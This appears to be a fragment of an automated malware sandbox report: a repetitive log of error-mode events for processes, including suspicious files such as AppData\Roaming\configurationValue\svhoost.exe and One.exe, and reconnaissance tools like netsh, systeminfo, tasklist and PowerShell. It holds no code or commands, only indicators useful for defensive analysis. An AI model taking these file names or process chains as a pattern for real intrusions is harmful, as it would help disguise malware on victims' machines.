Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\configurationValue\svhoost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\configurationValue\svhoost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\configurationValue\svhoost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\configurationValue\svhoost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\configurationValue\svhoost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\configurationValue\svhoost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\configurationValue\svhoost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\configurationValue\svhoost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\configurationValue\svhoost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\configurationValue\svhoost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\configurationValue\svhoost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\configurationValue\svhoost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\configurationValue\svhoost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\configurationValue\svhoost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\configurationValue\svhoost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\configurationValue\svhoost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\configurationValue\svhoost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\configurationValue\svhoost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\configurationValue\svhoost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\configurationValue\svhoost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\configurationValue\svhoost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\configurationValue\svhoost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\configurationValue\svhoost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\configurationValue\svhoost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\configurationValue\svhoost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\configurationValue\svhoost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\configurationValue\svhoost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\configurationValue\svhoost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\configurationValue\svhoost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\configurationValue\svhoost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\configurationValue\svhoost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\configurationValue\svhoost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\configurationValue\svhoost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\configurationValue\svhoost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\configurationValue\svhoost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\configurationValue\svhoost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\configurationValue\svhoost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\configurationValue\svhoost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\configurationValue\svhoost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\configurationValue\svhoost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\configurationValue\svhoost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\configurationValue\svhoost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\configurationValue\svhoost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\configurationValue\svhoost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\configurationValue\svhoost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\configurationValue\svhoost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\configurationValue\svhoost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\configurationValue\svhoost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\configurationValue\svhoost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\configurationValue\svhoost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\configurationValue\svhoost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\configurationValue\svhoost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\configurationValue\svhoost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\configurationValue\svhoost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\configurationValue\svhoost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\configurationValue\svhoost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\configurationValue\svhoost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\configurationValue\svhoost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\configurationValue\svhoost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\configurationValue\svhoost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\configurationValue\svhoost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\configurationValue\svhoost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\configurationValue\svhoost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\configurationValue\svhoost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\configurationValue\svhoost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\configurationValue\svhoost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\configurationValue\svhoost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\configurationValue\svhoost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\configurationValue\svhoost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\configurationValue\svhoost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\configurationValue\svhoost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\configurationValue\svhoost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\configurationValue\svhoost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\configurationValue\svhoost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\configurationValue\svhoost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\configurationValue\svhoost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\configurationValue\svhoost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\configurationValue\svhoost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\configurationValue\svhoost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\configurationValue\svhoost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\configurationValue\One.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\configurationValue\One.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\configurationValue\One.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\configurationValue\One.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\configurationValue\One.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\configurationValue\One.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\configurationValue\One.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\configurationValue\One.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\configurationValue\One.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\configurationValue\One.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\configurationValue\One.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\configurationValue\One.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\configurationValue\One.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\configurationValue\One.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\configurationValue\One.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\configurationValue\One.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\configurationValue\One.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\configurationValue\One.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\configurationValue\One.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\configurationValue\One.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\configurationValue\One.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\configurationValue\One.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\configurationValue\One.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\configurationValue\One.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\configurationValue\One.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\configurationValue\One.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\configurationValue\One.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\configurationValue\One.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\configurationValue\One.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\configurationValue\One.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\configurationValue\One.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\configurationValue\One.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\configurationValue\One.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\configurationValue\One.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\configurationValue\One.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000012001\lrthijawd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\work.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\tasklist.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\netsh.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\netsh.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\systeminfo.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
